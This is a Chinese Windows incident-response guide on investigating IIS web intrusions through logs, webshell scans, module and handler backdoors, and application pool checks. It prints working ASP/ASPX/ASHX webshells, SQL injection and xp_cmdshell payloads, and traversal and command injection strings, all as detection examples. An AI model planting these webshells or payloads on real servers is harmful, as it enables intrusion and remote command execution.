Windows应急响应 - 12 IIS-Web应用入侵

IIS-Web应用入侵

前置说明

IIS(Internet Information Services)是 Windows 上最常见的 Web 服务器,相当于 Linux 上的 Nginx/Apache

IIS 入侵分析涉及:日志分析、Webshell 检测、模块后门、Application Pool 安全

本页覆盖 IIS 6.0(Windows 2003)到 IIS 10.0(Windows 2019/2022)

关联页面:03-事件日志分析 | 12-Nginx与Apache应急 | 11-Tomcat与Java-Web应急


一、IIS 基础架构与日志

1.1 IIS 核心组件

进程模型:

1
2
3
4
5
6
7
HTTP.sys (内核模式驱动)

W3SVC (World Wide Web Publishing Service)

WAS (Windows Process Activation Service)

w3wp.exe (应用程序池工作进程) ← 每个 Application Pool 一个

关键进程:

w3wp.exe — 应用程序池工作进程(Webshell 在此进程内执行)

inetinfo.exe — IIS 管理进程(旧版 IIS 5.x)

配置文件位置:

1
2
3
4
5
6
7
C:\Windows\System32\inetsrv\config\
├── applicationHost.config # IIS 全局配置(最重要)
├── administration.config # 管理服务配置
└── redirection.config # 配置重定向

各站点:
C:\inetpub\wwwroot\web.config # 站点级别配置

查看 IIS 配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 列出所有站点
Import-Module WebAdministration
Get-Website | Select-Object Name, ID, State, PhysicalPath,
@{N='Bindings';E={$_.Bindings.Collection.BindingInformation}} |
Format-Table -AutoSize

# 列出所有应用程序池
Get-IISAppPool | Select-Object Name, State, ManagedRuntimeVersion,
@{N='Identity';E={$_.ProcessModel.IdentityType}} |
Format-Table -AutoSize

# 如果 WebAdministration 模块不可用
C:\Windows\System32\inetsrv\appcmd.exe list site
C:\Windows\System32\inetsrv\appcmd.exe list apppool

1.2 IIS 日志位置与格式

默认日志路径:

1
2
3
4
5
6
C:\inetpub\logs\LogFiles\
├── W3SVC1\ # Site ID 1 的日志
│ ├── u_ex260401.log # 2026年04月01日的日志
│ └── u_ex260402.log
├── W3SVC2\ # Site ID 2 的日志
└── ...

日志格式(W3C Extended,默认格式):

1
2
3
4
5
#Software: Microsoft Internet Information Services 10.0
#Version: 1.0
#Date: 2026-04-01 00:00:01
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken
2026-04-01 08:15:33 10.0.0.5 GET /default.aspx - 80 - 192.168.1.100 Mozilla/5.0+(Windows+NT+10.0) - 200 0 0 125

字段说明:

字段 含义 IR 用途
date time 请求时间(UTC!) 时间线分析
s-ip 服务器 IP 多站点区分
cs-method HTTP 方法(GET/POST) POST 到可疑路径 = Webshell
cs-uri-stem 请求 URI 路径 Webshell 路径、漏洞利用路径
cs-uri-query 查询字符串 SQL 注入、命令注入参数
c-ip 客户端 IP 攻击者 IP
cs(User-Agent) User-Agent 攻击工具特征
sc-status HTTP 状态码 200=成功、500=可能触发漏洞
sc-substatus IIS 子状态码 详细错误信息
time-taken 响应时间(ms) SQL 注入时间盲注特征

重要:IIS 日志时间是 UTC,需要转换为本地时间!

1
2
# UTC+8 需要加 8 小时
# IIS 日志中 00:15:33 = 北京时间 08:15:33

查看和修改日志配置:

1
2
3
4
5
# 查看站点日志配置
Get-WebConfiguration -Filter '/system.applicationHost/sites/site[@name="Default Web Site"]/logFile'

# 确认日志字段是否包含所有必要字段
C:\Windows\System32\inetsrv\appcmd.exe list site "Default Web Site" /config | findstr logFile

1.3 IIS 日志与 Nginx/Apache 对比

维度 IIS Nginx Apache
日志位置 C:\inetpub\logs\LogFiles\ /var/log/nginx/ /var/log/apache2//var/log/httpd/
默认格式 W3C Extended Combined Combined/Common
时间格式 UTC 本地时间 本地时间
分割方式 每天一个文件(默认) 手动/logrotate logrotate
POST Body 默认不记录 默认不记录 默认不记录
Query String 默认记录 默认记录 默认记录

注意: IIS 默认不记录 POST Body,这意味着 Webshell 通过 POST 传输的命令在日志中看不到具体内容,只能看到 POST 请求到了哪个文件


二、IIS 日志攻击特征分析

2.1 SQL 注入攻击特征

URL 中的 SQL 注入(GET 方式):

1
2
3
4
5
6
7
8
9
# 经典 SQL 注入
GET /product.aspx?id=1' or '1'='1
GET /product.aspx?id=1 union select 1,2,3,4--
GET /product.aspx?id=1;exec master..xp_cmdshell 'whoami'--

# URL 编码后的形式(IIS 日志中实际看到的)
GET /product.aspx id=1'+or+'1'%3d'1
GET /product.aspx id=1+union+select+1,2,3,4--
GET /product.aspx id=1;exec+master..xp_cmdshell+'whoami'--

检测命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 在 IIS 日志中搜索 SQL 注入特征
$logPath = "C:\inetpub\logs\LogFiles\W3SVC1"

# 常见 SQL 注入关键词
$sqlPatterns = @(
'union\+select',
'exec\+',
'xp_cmdshell',
'or\+1%3d1',
"or\+'1'%3d'1'",
'waitfor\+delay',
'CAST\(',
'CONVERT\(',
'information_schema',
'sysobjects',
'syscolumns',
'--',
'%27' # 单引号的 URL 编码
)

$pattern = ($sqlPatterns -join '|')
Get-ChildItem "$logPath\*.log" | ForEach-Object {
Select-String -Path $_.FullName -Pattern $pattern -AllMatches
} | Select-Object -First 100 LineNumber, Line, Filename

时间盲注特征: 大量请求 time-taken 字段恰好为 5000ms(或其他固定延迟)

1
2
3
4
5
6
7
8
9
# 检测时间盲注(响应时间集中在特定值)
Get-Content "$logPath\u_ex260401.log" | Where-Object { $_ -notmatch '^#' } |
ForEach-Object {
$fields = $_ -split ' '
$timeTaken = [int]$fields[-1]
if ($timeTaken -ge 4900 -and $timeTaken -le 5100) {
$_
}
}

2.2 路径遍历攻击特征

1
2
3
4
5
6
7
8
# 路径遍历(目录穿越)
GET /download.aspx?file=../../../../etc/passwd
GET /download.aspx?file=..%2f..%2f..%2fwindows/win.ini
GET /download.aspx?file=....//....//....//windows/system32/config/sam

# IIS 短文件名漏洞(8.3 格式)
GET /ASPNET~1.AXD → 200 表示文件存在
GET /ASPNET~2.AXD → 404 表示不存在

检测命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$traversalPatterns = @(
'\.\.',
'%2e%2e',
'\.\./',
'%252e',
'/etc/passwd',
'win\.ini',
'boot\.ini',
'~1',
'~2'
)
$pattern = ($traversalPatterns -join '|')
Get-ChildItem "$logPath\*.log" | ForEach-Object {
Select-String -Path $_.FullName -Pattern $pattern
} | Select-Object -First 50

2.3 命令注入攻击特征

1
2
3
4
5
6
7
# 命令注入
GET /ping.aspx?host=127.0.0.1|whoami
GET /ping.aspx?host=127.0.0.1;net+user
GET /api/exec?cmd=dir+c:\

# PowerShell 编码命令
GET /vuln.aspx?data=powershell+-enc+JABjAGw...

2.4 Webshell 访问特征

Webshell 典型日志模式:

1
2
3
4
5
6
7
8
9
10
# 特征1:POST 到可疑文件名
POST /uploads/shell.aspx - 200
POST /images/1.asp - 200
POST /App_Data/cache.ashx - 200

# 特征2:同一 IP 持续 POST 到同一文件
POST /temp/x.aspx - 200 (多次重复)

# 特征3:冷门文件突然被访问
# 正常情况从未被访问的 .aspx/.ashx 文件突然出现大量请求

Webshell 文件名常见模式:

1
2
3
4
5
6
7
8
9
10
11
12
# 单字符/短文件名
1.asp, x.aspx, a.ashx, cmd.asp

# 伪装正常文件
global.aspx, config.aspx, error.aspx, default2.aspx

# 中文文件名
测试.aspx, 临时.asp

# 隐藏在上传目录
/upload/image/xx.asp;.jpg (IIS 6.0 解析漏洞)
/upload/image.asp/xx.jpg (IIS 6.0 目录解析漏洞)

检测命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 查找可疑的 POST 请求到 .aspx/.asp/.ashx/.asmx 文件
Get-ChildItem "$logPath\*.log" | ForEach-Object {
Select-String -Path $_.FullName -Pattern 'POST\s+/\S+\.(aspx?|ashx|asmx|cshtml)\s' |
ForEach-Object {
$line = $_.Line
if ($line -notmatch '^#') {
$fields = $line -split '\s+'
[PSCustomObject]@{
Date = $fields[0]
Time = $fields[1]
Method = $fields[3]
URI = $fields[4]
ClientIP= $fields[8]
Status = $fields[11]
}
}
}
} | Group-Object URI | Sort-Object Count -Descending |
Select-Object Count, Name | Format-Table -AutoSize

2.5 扫描器 User-Agent 特征

1
2
3
4
5
6
7
8
9
10
11
# 常见扫描器 User-Agent
sqlmap/1.x
Nmap Scripting Engine
DirBuster
Nikto
Acunetix
Nessus
AWVS
dirsearch
gobuster
python-requests
1
2
3
4
5
6
7
8
9
# 检测扫描器
$scannerPatterns = @('sqlmap','nmap','nikto','acunetix','dirsearch','gobuster','AWVS','DirBuster','python-requests','curl/')
$pattern = ($scannerPatterns -join '|')
Get-ChildItem "$logPath\*.log" | ForEach-Object {
Select-String -Path $_.FullName -Pattern $pattern -CaseSensitive:$false
} | ForEach-Object { $_.Line } |
ForEach-Object { ($_ -split '\s+')[8] } | # c-ip 字段
Group-Object | Sort-Object Count -Descending |
Select-Object Count, Name | Format-Table -AutoSize

三、Webshell 检测

3.1 ASP/ASPX Webshell 特征

ASP 一句话木马:

1
2
3
<%eval request("cmd")%>
<%execute(request("a"))%>
<%Response.Write(eval(Request("code")))%>

ASPX 一句话木马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%@ Page Language="C#" %>
<%System.Diagnostics.Process.Start(Request["cmd"]);%>

<!-- 更隐蔽的方式 -->
<%@ Page Language="C#" %>
<script runat="server">
void Page_Load(object s, EventArgs e) {
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request["c"];
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
}
</script>

ASHX Handler Webshell(更隐蔽):

1
2
3
4
5
6
7
8
9
10
11
12
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.Diagnostics;
public class Handler : IHttpHandler {
public void ProcessRequest(HttpContext context) {
Process.Start(new ProcessStartInfo("cmd.exe","/c "+context.Request["c"]) {
RedirectStandardOutput=true,UseShellExecute=false
});
}
public bool IsReusable { get { return false; } }
}

3.2 文件系统层面 Webshell 检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 方法1:搜索 Web 目录中的可疑关键词
$webRoot = "C:\inetpub\wwwroot"

# ASP Webshell 关键词
Get-ChildItem -Path $webRoot -Recurse -Include *.asp,*.aspx,*.ashx,*.asmx,*.cshtml |
Select-String -Pattern 'eval\s*\(|execute\s*\(|Process\.Start|cmd\.exe|powershell|WScript\.Shell|Server\.CreateObject|ProcessStartInfo|Runtime\.exec' |
Select-Object Path, LineNumber, Line | Format-Table -AutoSize

# 方法2:查找最近修改的 Web 文件
Get-ChildItem -Path $webRoot -Recurse -Include *.asp,*.aspx,*.ashx,*.config |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) } |
Sort-Object LastWriteTime -Descending |
Select-Object FullName, LastWriteTime, Length | Format-Table -AutoSize

# 方法3:查找大小异常的文件(Webshell 通常很小)
Get-ChildItem -Path $webRoot -Recurse -Include *.asp,*.aspx,*.ashx |
Where-Object { $_.Length -lt 5KB } |
Sort-Object Length |
Select-Object FullName, Length, LastWriteTime | Format-Table -AutoSize

# 方法4:检查文件创建时间异常(与同目录其他文件对比)
Get-ChildItem -Path $webRoot -Recurse -Include *.aspx |
Select-Object FullName, CreationTime, LastWriteTime |
Sort-Object CreationTime -Descending | Select-Object -First 20 |
Format-Table -AutoSize

3.3 IIS 解析漏洞导致的 Webshell 上传

IIS 6.0 解析漏洞(经典,但仍有遗留系统):

1
2
3
# 目录解析:/upload/image.asp/shell.jpg → 作为 ASP 执行
# 分号截断:/upload/shell.asp;.jpg → 作为 ASP 执行
# 默认解析:.asa .cer .cdx → 同 ASP 处理

IIS 7.0/7.5 FastCGI 解析漏洞(配合 PHP):

1
# /upload/image.jpg/.php → 如果 cgi.fix_pathinfo=1

检测方法:

1
2
3
4
5
6
7
# 查找可疑的解析漏洞利用文件
Get-ChildItem -Path $webRoot -Recurse |
Where-Object {
$_.Name -match '\.(asp|aspx|asa|cer|cdx);' -or
$_.FullName -match '\.asp[\\/]' -or
$_.Extension -match '\.(asa|cer|cdx)$'
} | Select-Object FullName, Length, LastWriteTime

四、IIS 模块与 Handler 后门

4.1 ISAPI Filter/Extension 后门

ISAPI(Internet Server API)是 IIS 的底层扩展机制

攻击者可以安装恶意 ISAPI DLL 作为持久化后门

ISAPI Filter: 拦截所有 HTTP 请求/响应,可以窃取数据或植入后门

ISAPI Extension: 处理特定文件扩展名的请求

检测方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 方法1:检查 IIS 配置中的 ISAPI Filters
Get-WebConfiguration -Filter '/system.webServer/isapiFilters/filter' -PSPath 'IIS:\' |
Select-Object name, path, enabled | Format-Table -AutoSize

# 方法2:检查 applicationHost.config
Select-String -Path 'C:\Windows\System32\inetsrv\config\applicationHost.config' -Pattern 'isapiFilter|isapi' |
Select-Object LineNumber, Line

# 方法3:检查全局 ISAPI 过滤器(注册表)
Get-ItemProperty 'HKLM:\System\CurrentControlSet\Services\W3SVC\Parameters' -ErrorAction SilentlyContinue

# 验证 DLL 文件的签名
Get-ChildItem -Path 'C:\Windows\System32\inetsrv\' -Include *.dll -Recurse |
ForEach-Object {
$sig = Get-AuthenticodeSignature $_.FullName
if ($sig.Status -ne 'Valid') {
[PSCustomObject]@{
File = $_.FullName
Status = $sig.Status
Signer = $sig.SignerCertificate.Subject
}
}
} | Format-Table -AutoSize

4.2 IIS 托管模块后门(Managed Module)

.NET 托管模块比 ISAPI 更常见、更隐蔽

攻击者注册恶意 HTTP Module,拦截所有请求

典型后门模块行为:

拦截特定 URL 参数执行命令

窃取认证凭据(拦截登录 POST 请求)

注入恶意内容到响应中

检测方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 检查全局已注册的 HTTP Modules
Get-WebConfiguration -Filter '/system.webServer/modules/add' -PSPath 'IIS:\' |
Select-Object name, type, preCondition |
Format-Table -AutoSize

# 检查 GAC 中的可疑 DLL
Get-ChildItem 'C:\Windows\Microsoft.NET\assembly\GAC_MSIL' -Recurse -Include *.dll |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-30) } |
Select-Object FullName, LastWriteTime | Format-Table -AutoSize

# 检查 web.config 中注册的模块
Get-ChildItem -Path $webRoot -Recurse -Include web.config |
ForEach-Object {
$content = Get-Content $_.FullName -Raw
if ($content -match 'httpModules|modules.*add') {
Write-Output "=== $($_.FullName) ==="
Select-String -Path $_.FullName -Pattern '<add\s+name.*type' |
Select-Object Line
}
}

已知 APT 使用的 IIS 后门:

Owowa — 窃取 OWA(Outlook Web Access)登录凭据的 IIS 模块

IIS-Raid — 开源 IIS 后门框架

Group 18 (APT) — 使用自定义 IIS 模块进行 C2

4.3 HTTP Handler 后门

Handler 后门通过注册自定义 HTTP Handler 处理特定扩展名或路径

1
2
3
4
5
6
7
8
<!-- web.config 中的后门 Handler 示例 -->
<system.webServer>
<handlers>
<add name="BackdoorHandler" path="*.xyz" verb="*"
type="System.Web.UI.PageHandlerFactory"
resourceType="File" />
</handlers>
</system.webServer>

检测:

1
2
3
4
5
6
7
8
# 列出所有自定义 Handler
Get-WebConfiguration -Filter '/system.webServer/handlers/add' -PSPath 'IIS:\' |
Where-Object { $_.type -and $_.type -notmatch 'System\.Web|Microsoft' } |
Select-Object name, path, verb, type | Format-Table -AutoSize

# 检查 Handler 映射中的异常
C:\Windows\System32\inetsrv\appcmd.exe list config /section:handlers |
findstr /i "add name"

五、Application Pool 安全分析

5.1 Application Pool Identity 原理

Application Pool Identity 决定了 w3wp.exe 以什么账户运行

身份类型:

Identity 类型 实际账户 风险级别
ApplicationPoolIdentity(默认) 虚拟账户 IIS APPPOOL{PoolName} (推荐)
NetworkService NT AUTHORITY\NETWORK SERVICE
LocalService NT AUTHORITY\LOCAL SERVICE
LocalSystem NT AUTHORITY\SYSTEM 极高(绝对禁止)
自定义账户 指定的域账户或本地账户 取决于账户权限

如果 Application Pool 使用 LocalSystem 运行,Webshell 将直接获得 SYSTEM 权限!

5.2 检查 Application Pool 配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 检查所有 Application Pool 的身份配置
Import-Module WebAdministration
Get-ChildItem IIS:\AppPools | ForEach-Object {
$pool = $_
$identity = $pool.processModel.identityType
$username = $pool.processModel.userName
[PSCustomObject]@{
Name = $pool.Name
State = $pool.State
Identity = $identity
Username = if($identity -eq 'SpecificUser'){$username}else{$identity}
Runtime = $pool.managedRuntimeVersion
Pipeline = $pool.managedPipelineMode
}
} | Format-Table -AutoSize

# 检查是否有高权限运行的 Pool
# 如果看到 LocalSystem 或域管账户 → 严重安全问题

5.3 w3wp.exe 行为监控

Webshell 执行命令时,w3wp.exe 会产生子进程

可疑进程链:

1
2
3
4
w3wp.exe → cmd.exe → whoami.exe
w3wp.exe → cmd.exe → net.exe user
w3wp.exe → powershell.exe → [任何操作]
w3wp.exe → csc.exe (C# 编译) → [编译后的程序]

检测:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 检查 w3wp.exe 的子进程(需要 4688 审计或 Sysmon)
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} -MaxEvents 100000 |
Where-Object { $_.Properties[13].Value -like '*w3wp*' } |
ForEach-Object {
[PSCustomObject]@{
Time = $_.TimeCreated
Process = $_.Properties[5].Value
CmdLine = $_.Properties[8].Value
ParentPID = $_.Properties[7].Value
}
} | Format-Table -AutoSize

# Sysmon 版本(Event ID 1)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational';Id=1} -MaxEvents 50000 |
Where-Object { $_.Properties[20].Value -like '*w3wp*' } |
ForEach-Object {
[PSCustomObject]@{
Time = $_.TimeCreated
Process = $_.Properties[4].Value
CmdLine = $_.Properties[10].Value
ParentProc = $_.Properties[20].Value
}
} | Format-Table -AutoSize

六、IIS 入侵完整案例

6.1 场景:SQL 注入到 Webshell 到提权

阶段一:SQL 注入探测

1
2
3
4
5
# IIS 日志中发现以下模式
2026-04-01 02:15:33 10.0.0.5 GET /product.aspx id=1' 80 - 45.xxx.xxx.12 sqlmap/1.6 - 500 0 0 156
2026-04-01 02:15:34 10.0.0.5 GET /product.aspx id=1'+and+'1'='1 80 - 45.xxx.xxx.12 sqlmap/1.6 - 200 0 0 125
2026-04-01 02:15:35 10.0.0.5 GET /product.aspx id=1'+and+'1'='2 80 - 45.xxx.xxx.12 sqlmap/1.6 - 200 0 0 130
# → 布尔盲注确认

阶段二:数据库操作

1
2
3
2026-04-01 02:20:15 10.0.0.5 GET /product.aspx id=1;exec+master..xp_cmdshell+'whoami' 80 - 45.xxx.xxx.12 sqlmap/1.6 - 200 0 0 445
2026-04-01 02:20:45 10.0.0.5 GET /product.aspx id=1;exec+master..xp_cmdshell+'echo+^<%25eval(request("c"))%25^>+>+c:\inetpub\wwwroot\t.asp' 80 - 45.xxx.xxx.12 sqlmap/1.6 - 200 0 0 521
# → 通过 xp_cmdshell 写入 Webshell

阶段三:Webshell 使用

1
2
3
2026-04-01 02:21:30 10.0.0.5 POST /t.asp - 80 - 45.xxx.xxx.12 Mozilla/5.0 - 200 0 0 89
2026-04-01 02:21:45 10.0.0.5 POST /t.asp - 80 - 45.xxx.xxx.12 Mozilla/5.0 - 200 0 0 156
# → 多次 POST 到新创建的 .asp 文件 = Webshell 操作

6.2 分析方法论(SOP)

Step 1: 确定攻击者 IP 和时间范围

1
2
3
4
5
6
# 从已知 Webshell 路径反查所有访问者
Select-String -Path "$logPath\*.log" -Pattern '/t\.asp' |
ForEach-Object {
$fields = ($_.Line -split '\s+')
"$($fields[0]) $($fields[1]) $($fields[3]) $($fields[4]) $($fields[8]) $($fields[11])"
}

Step 2: 追溯攻击者的所有请求

1
2
3
4
5
6
# 提取攻击者 IP 的所有请求
$attackerIP = '45.xxx.xxx.12'
Get-ChildItem "$logPath\*.log" | ForEach-Object {
Select-String -Path $_.FullName -Pattern $attackerIP
} | ForEach-Object { $_.Line } |
Sort-Object | Out-File "C:\IR\attacker_requests.txt"

Step 3: 关联数据库日志和系统日志

参考 13-SQL-Server入侵分析 检查 SQL Server 日志中的 xp_cmdshell 执行记录

Step 4: 检查持久化

Webshell 文件

数据库中的后门存储过程

新建的系统账户

计划任务


七、IIS 加固建议

7.1 日志增强配置

1
2
3
4
5
6
7
# 启用所有有用的日志字段
# 特别重要:cs(Cookie)、cs(Referer)、X-Forwarded-For(如果有反向代理)

# 通过 appcmd 配置
C:\Windows\System32\inetsrv\appcmd.exe set config -section:system.applicationHost/sites /siteDefaults.logFile.logExtFileFlags:"Date,Time,ClientIP,UserName,SiteName,ComputerName,ServerIP,Method,UriStem,UriQuery,HttpStatus,Win32Status,BytesSent,BytesRecv,TimeTaken,ServerPort,UserAgent,Cookie,Referer,ProtocolVersion,Host,HttpSubStatus"

# 增加日志保留时间(默认按天轮转,建议保留 90 天以上)

7.2 安全配置

1
2
3
4
5
6
7
8
9
10
11
12
13
# 1. 移除不需要的 ISAPI 映射和 Handler
# 2. Application Pool 使用 ApplicationPoolIdentity(不要用 LocalSystem)
# 3. 禁用目录浏览
C:\Windows\System32\inetsrv\appcmd.exe set config /section:directoryBrowse /enabled:false

# 4. 移除 IIS 版本头
# 在 web.config 中:
# <system.webServer><httpProtocol><customHeaders>
# <remove name="X-Powered-By" />
# </customHeaders></httpProtocol></system.webServer>

# 5. 配置请求过滤(防止路径遍历、大请求等)
# 6. 启用 Failed Request Tracing(用于调试和安全分析)

7.3 文件完整性监控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 对 Web 根目录创建基线 Hash
Get-ChildItem -Path $webRoot -Recurse -Include *.asp,*.aspx,*.ashx,*.asmx,*.config,*.dll |
ForEach-Object {
[PSCustomObject]@{
Path = $_.FullName
Hash = (Get-FileHash $_.FullName -Algorithm SHA256).Hash
Size = $_.Length
LastWrite = $_.LastWriteTime
}
} | Export-Csv "C:\Baseline\iis_web_baseline.csv" -NoTypeInformation

# 后续对比检测新增/修改的文件
$baseline = Import-Csv "C:\Baseline\iis_web_baseline.csv"
Get-ChildItem -Path $webRoot -Recurse -Include *.asp,*.aspx,*.ashx,*.asmx,*.config,*.dll |
ForEach-Object {
$file = $_
$baseEntry = $baseline | Where-Object { $_.Path -eq $file.FullName }
$currentHash = (Get-FileHash $file.FullName -Algorithm SHA256).Hash
if (-not $baseEntry) {
Write-Host "[NEW] $($file.FullName)" -ForegroundColor Red
} elseif ($baseEntry.Hash -ne $currentHash) {
Write-Host "[MODIFIED] $($file.FullName)" -ForegroundColor Yellow
}
}

八、快速排查清单

IIS 日志分析:

[ ] 确认日志路径和站点 ID 对应关系

[ ] 搜索 SQL 注入、命令注入、路径遍历特征

[ ] 搜索扫描器 User-Agent

[ ] 查找可疑 POST 请求到 .asp/.aspx/.ashx 文件

[ ] 注意日志时间是 UTC 需转换

Webshell 检测:

[ ] Web 目录搜索 eval/execute/Process.Start 等关键词

[ ] 查找最近新增/修改的 Web 文件

[ ] 检查 IIS 解析漏洞利用痕迹(分号、目录型)

模块后门检测:

[ ] 检查 ISAPI Filters/Extensions

[ ] 检查 HTTP Modules 和 Handlers

[ ] 验证 DLL 文件签名

Application Pool 安全:

[ ] 确认没有使用 LocalSystem 身份

[ ] 检查 w3wp.exe 子进程创建记录

参考: 12-Nginx与Apache应急 了解 Linux Web 服务器对应的排查方法


上一章 目录 下一章
11-RDP暴力破解与未授权访问 Windows应急响应 13-SQL-Server入侵分析